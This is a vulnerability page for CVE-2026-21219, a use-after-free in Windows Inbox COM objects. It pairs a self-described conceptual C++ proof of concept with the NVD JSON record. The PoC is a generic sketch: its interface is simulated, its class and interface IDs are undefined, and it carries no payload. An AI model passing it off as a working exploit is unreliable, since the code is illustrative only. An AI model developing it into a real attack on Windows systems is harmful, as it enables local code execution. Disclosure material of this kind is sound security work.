CVE-2026-21219

// CVE-2026-21219 PoC - Use After Free in Inbox COM Objects // This is a conceptual PoC demonstrating the vulnerability pattern #include <windows.h> #include <comdef.h> #include <iostream> // Simulated Inbox COM Object Interface class IInboxObject : public IUnknown { public: virtual HRESULT STDMETHODCALLTYPE GetMessageCount(int* pCount) = 0; virtual HRESULT STDMETHODCALLTYPE DeleteMessage(int index) = 0; }; // Trigger the Use After Free vulnerability void TriggerUAF() { IInboxObject* pInbox = NULL; // Initialize COM CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); // Create Inbox COM object HRESULT hr = CoCreateInstance( CLSID_InboxObject, NULL, CLSCTX_INPROC_SERVER, IID_IInboxObject, (void**)&pInbox ); if (SUCCEEDED(hr) && pInbox) { // Delete message triggers object release pInbox->DeleteMessage(0); // UAF: Object is freed but pointer not nullified // Attacker can now reallocate freed memory Sleep(100); // Timing window for reallocation // Use freed object - triggers UAF int count = 0; pInbox->GetMessageCount(&count); // Use after free pInbox->Release(); } CoUninitialize(); } int main() { std::cout << "CVE-2026-21219 PoC Trigger" << std::endl; TriggerUAF(); return 0; } /* Mitigation: * - Apply Microsoft security updates * - Enable Windows Defender Exploit Guard * - Enable Control Flow Guard (CFG) */

{"cve": {"id": "CVE-2026-21219", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:24.580", "lastModified": "2026-02-09T20:37:59.127", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Inbox COM Objects allows an unauthorized attacker to execute code locally."}, {"lang": "es", "value": "Uso después de liberación en objetos COM de Inbox permite a un atacante no autorizado ejecutar código localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:windows_software_development_kit:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.26100", "versionEndExcluding": "10.0.26100.7463", "matchCriteriaId": "238CF4D4-B147-493E-861A-4912190B0281"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21219", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}